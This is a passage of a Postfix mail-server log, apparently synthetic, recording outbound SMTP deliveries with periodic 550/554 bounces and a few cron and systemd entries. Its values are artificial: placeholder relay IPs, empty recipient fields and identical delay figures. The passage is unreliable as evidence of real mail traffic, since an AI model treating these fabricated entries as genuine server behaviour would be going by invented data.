dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:56 mail-server postfix/smtp[2118]: 5E493D74E2: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:57 mail-server postfix/smtp[2118]: 8C2A8040D7: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[2118]: F4679D8B38: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[2118]: 28721325A4: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:00 mail-server postfix/smtp[2118]: FB8A8CFF51: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:01 mail-server postfix/smtp[2118]: 4BE4BFBA6D: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:01 mail-server postfix/smtp[2118]: 8247C8CD74: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:02 mail-server postfix/smtp[2118]: 5DFE91653C: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:05 mail-server postfix/smtp[2118]: F46B180133: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:04:05 mail-server postfix/qmgr[2011]: F46B180133: removed +Jul 02 11:04:05 mail-server postfix/smtp[2118]: 1531EBBCEB: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:04:05 mail-server postfix/qmgr[2011]: 1531EBBCEB: removed +Jul 02 11:04:06 mail-server postfix/smtp[2118]: E18773E758: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:06 mail-server postfix/smtp[2118]: 5D60D4115A: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:07 mail-server postfix/smtp[2118]: 3DE0B4D375: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:07 mail-server postfix/smtp[2118]: 6BFEECF944: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:08 mail-server postfix/smtp[2118]: 8A0176D75F: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:08 mail-server postfix/smtp[2118]: F67E16823B: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:04:08 mail-server postfix/qmgr[2011]: F67E16823B: removed +Jul 02 11:04:10 mail-server postfix/smtp[2118]: 14F4FC53A8: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:10 mail-server postfix/smtp[2118]: F7C403C71D: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:11 mail-server postfix/smtp[2118]: BBC8CFAAF8: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:11 mail-server postfix/smtp[2118]: 32A91A9BE6: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:11 mail-server postfix/smtp[2118]: C5595FDA65: to=, relay=mx.emailprovider.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:04:11 mail-server postfix/qmgr[2011]: C5595FDA65: removed +Jul 02 11:04:11 mail-server postfix/smtp[2118]: 41A4CEAEB1: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:12 mail-server postfix/smtp[2118]: A8DD2B374F: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:12 mail-server postfix/smtp[2118]: C58C99E7A0: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:12 mail-server postfix/smtp[2118]: FEAB0423D7: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:15 mail-server postfix/smtp[2118]: F4E0688790: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:15 mail-server postfix/smtp[2118]: A4C7964D61: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:15 mail-server postfix/smtp[2118]: 630DD0BDEA: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:16 mail-server postfix/smtp[2118]: 4C9B783631: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:16 mail-server postfix/smtp[2118]: C836C3619A: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:04:16 mail-server postfix/qmgr[2011]: C836C3619A: removed +Jul 02 11:04:17 mail-server postfix/smtp[2118]: C1EEF9A366: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:17 mail-server postfix/smtp[2118]: F1ED4838DF: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:17 mail-server postfix/smtp[2118]: 330EAF87FD: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:18 mail-server postfix/smtp[2118]: FD3207E624: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:20 mail-server postfix/smtp[2118]: 3B68772354: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:20 mail-server postfix/smtp[2118]: 4297832DD9: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:04:20 mail-server postfix/qmgr[2011]: 4297832DD9: removed +Jul 02 11:04:20 mail-server postfix/smtp[2118]: 28EC936784: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:21 mail-server postfix/smtp[2118]: 390C69EA23: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:23 mail-server postfix/smtp[2118]: B390B269C8: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:25 mail-server postfix/smtp[2118]: 4B0E76850A: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:25 mail-server postfix/smtp[2118]: 4BC4AAE7A4: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:25 mail-server postfix/smtp[2118]: AEC9109B4B: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:04:25 mail-server postfix/qmgr[2011]: AEC9109B4B: removed +Jul 02 11:04:26 mail-server postfix/smtp[2118]: 2F54ADEC6B: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:26 mail-server postfix/smtp[2118]: C35DFD5D38: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:26 mail-server postfix/smtp[2118]: FA93A7A100: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:27 mail-server postfix/smtp[2118]: F9FBF90F5F: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:27 mail-server postfix/smtp[2118]: 013369EBD0: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:27 mail-server postfix/smtp[2118]: A4521AFB68: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:28 mail-server postfix/smtp[2118]: 27DBE39E0A: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:30 mail-server postfix/smtp[2118]: 28F4A12084: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:30 mail-server postfix/smtp[2118]: A0E1A3DEC6: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:30 mail-server postfix/smtp[2118]: 72FEBC42E1: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:31 mail-server postfix/smtp[2118]: F8D755C2AD: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:31 mail-server postfix/smtp[2118]: A102E883A2: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:04:31 mail-server postfix/qmgr[2011]: A102E883A2: removed +Jul 02 11:04:31 mail-server postfix/smtp[2118]: 4E0B588A43: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:32 mail-server postfix/smtp[2118]: 364AA23684: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:04:32 mail-server postfix/qmgr[2011]: 364AA23684: removed +Jul 02 11:04:32 mail-server postfix/smtp[2118]: 9AF41C733C: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:33 mail-server postfix/smtp[2118]: 998DBB8EA3: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:33 mail-server postfix/smtp[2118]: CB3F804B71: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:35 CRON[3509]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:35 mail-server postfix/smtp[2118]: 478645F057: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:36 mail-server postfix/smtp[2118]: D7BEE0E5C4: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:37 mail-server postfix/smtp[2118]: 5B85DC4E58: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:37 mail-server postfix/smtp[2118]: D248971AE2: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:38 mail-server postfix/smtp[2118]: 59CD5DD25F: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:38 mail-server postfix/smtp[2118]: 16DD7EFC53: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:04:38 mail-server postfix/qmgr[2011]: 16DD7EFC53: removed +Jul 02 11:04:40 mail-server postfix/smtp[2118]: DB71590F54: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:41 mail-server postfix/smtp[2118]: D32D041860: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:41 mail-server postfix/smtp[2118]: B733BE792B: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:41 mail-server postfix/smtp[2118]: 8E67BDB454: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:42 mail-server postfix/smtp[2118]: 029F10CF9A: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:04:42 mail-server postfix/qmgr[2011]: 029F10CF9A: removed +Jul 02 11:04:45 mail-server postfix/smtp[2118]: 778534CBA7: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:46 mail-server postfix/smtp[2118]: 04BCD24814: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:46 mail-server postfix/smtp[2118]: F4DC664D62: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:47 mail-server postfix/smtp[2118]: 1FF017A61D: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:47 mail-server postfix/smtp[2118]: 79CBC57CB9: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:47 mail-server postfix/smtp[2118]: 84F06C551D: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:48 mail-server postfix/smtp[2118]: ED93F68059: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:48 mail-server postfix/smtp[2118]: 857059B9CB: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:50 mail-server postfix/smtp[2118]: 2ED128B4C9: to=, relay=mx.emailprovider.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:04:50 mail-server postfix/qmgr[2011]: 2ED128B4C9: removed +Jul 02 11:04:50 mail-server postfix/smtp[2118]: AA91082469: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:50 mail-server postfix/smtp[2118]: 2456E5297E: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:50 mail-server postfix/smtp[2118]: B0585BB9CC: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:51 mail-server postfix/smtp[2118]: 32AC70F514: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:53 mail-server postfix/smtp[2118]: 3AD395F8ED: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:04:53 mail-server postfix/qmgr[2011]: 3AD395F8ED: removed +Jul 02 11:04:53 mail-server postfix/smtp[2118]: 4DF047257E: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:53 mail-server postfix/smtp[2118]: 174B38FA63: to=, relay=mx.user-inbox.org[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:04:53 mail-server postfix/qmgr[2011]: 174B38FA63: removed +Jul 02 11:04:57 mail-server postfix/smtp[2118]: 698A010AA3: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:57 mail-server postfix/smtp[2118]: 86DA30702F: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:57 mail-server postfix/smtp[2118]: 310A2EFE8F: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:57 mail-server postfix/smtp[2118]: 9E7526DBC4: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:58 mail-server postfix/smtp[2118]: 367BD3DCAC: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:04:58 mail-server postfix/smtp[2118]: 5AD636D6A7: to=, relay=mx.emailprovider.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:04:58 mail-server postfix/qmgr[2011]: 5AD636D6A7: removed +Jul 02 11:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:05:00 mail-server postfix/smtp[2118]: DD717C4122: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:00 mail-server postfix/smtp[2118]: B091CCD143: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:00 mail-server postfix/smtp[2118]: EB311C50B6: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:00 mail-server postfix/smtp[2118]: A7DF671FBF: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:01 mail-server postfix/smtp[2118]: 30EDDC3812: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:02 mail-server postfix/smtp[2118]: 4CEA790B38: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:03 mail-server postfix/smtp[2118]: 75C56E3FA0: to=, relay=mx.mailservice.net[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:05:03 mail-server postfix/qmgr[2011]: 75C56E3FA0: removed +Jul 02 11:05:03 mail-server postfix/smtp[2118]: F7F61181F9: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:03 mail-server postfix/smtp[2118]: 411D521D50: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:05 mail-server postfix/smtp[2118]: 4F735280BF: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:06 mail-server postfix/smtp[2118]: BFAAF8FCD2: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:06 mail-server postfix/smtp[2118]: CEF0E624EA: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (554 Service unavailable)) +Jul 02 11:05:06 mail-server postfix/qmgr[2011]: CEF0E624EA: removed +Jul 02 11:05:07 mail-server postfix/smtp[2118]: E3A56A6E22: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:07 mail-server postfix/smtp[2118]: 76B12C8EA1: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:07 mail-server postfix/smtp[2118]: 9684B0A6AA: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:07 mail-server postfix/smtp[2118]: BD9365D922: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:07 mail-server postfix/smtp[2118]: F19579B83F: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:07 mail-server postfix/smtp[2118]: 9FED4F55EB: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:08 mail-server postfix/smtp[2118]: 8BC7670D0A: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:10 mail-server postfix/smtp[2118]: 77B7EE784D: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:11 mail-server postfix/smtp[2118]: EB35D08EB9: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:11 mail-server postfix/smtp[2118]: 3F73A0FE0B: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:11 mail-server postfix/smtp[2118]: 5EB88CECF2: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:12 mail-server postfix/smtp[2118]: B83C8A6DD8: to=, relay=mx.example.com[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550 No such user)) +Jul 02 11:05:12 mail-server postfix/qmgr[2011]: B83C8A6DD8: removed +Jul 02 11:05:12 mail-server postfix/smtp[2118]: 47139FEA28: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:12 mail-server postfix/smtp[2118]: DF7A6D25A6: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:12 mail-server postfix/smtp[2118]: 8529028ABE: to=, relay=mx.my-mail.co[5.6.7.8]:25, delay=5, delays=1/0/2/2, dsn=5.1.1, status=bounced (550-5.1.1 The email account that you tried to reach does not exist)) +Jul 02 11:05:12 mail-server postfix/qmgr[2011]: 8529028ABE: removed +Jul 02 11:05:13 mail-server postfix/smtp[2118]: 45F8303606: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:13 mail-server postfix/smtp[2118]: F4A45A5851: to=, relay=mx.mailservice.net[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:17 mail-server postfix/smtp[2118]: 0050B5C4F3: to=, relay=mx.my-mail.co[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:17 mail-server postfix/smtp[2118]: DC0383166A: to=, relay=mx.user-inbox.org[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:17 mail-server postfix/smtp[2118]: 5FBD7E9352: to=, relay=mx.example.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:18 mail-server postfix/smtp[2118]: 65C31B9A0E: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:18 mail-server postfix/smtp[2118]: 4296820043: to=, relay=mx.emailprovider.com[1.2.3.4]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=2.0.0, status=sent (250 